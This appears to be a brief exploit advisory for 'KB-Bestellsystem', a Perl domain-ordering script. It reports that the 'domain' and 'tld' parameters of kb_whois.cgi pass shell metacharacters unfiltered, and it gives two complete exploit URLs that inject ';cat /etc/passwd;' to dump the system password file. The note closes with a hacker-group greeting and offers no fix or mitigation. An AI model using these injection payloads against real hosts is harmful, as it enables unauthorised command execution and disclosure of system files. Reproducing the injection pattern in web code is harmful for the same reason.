"KB-Bestellsystem" is a domain order system written in Perl. The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell metacharacters.
The following examples will show you the /etc/passwd file: http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=;cat%20/etc/passwd;&tld=.com&tarrif= http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=google&tld=.com;cat /etc/passwd;&tarrif= << Greetz Zero X >>
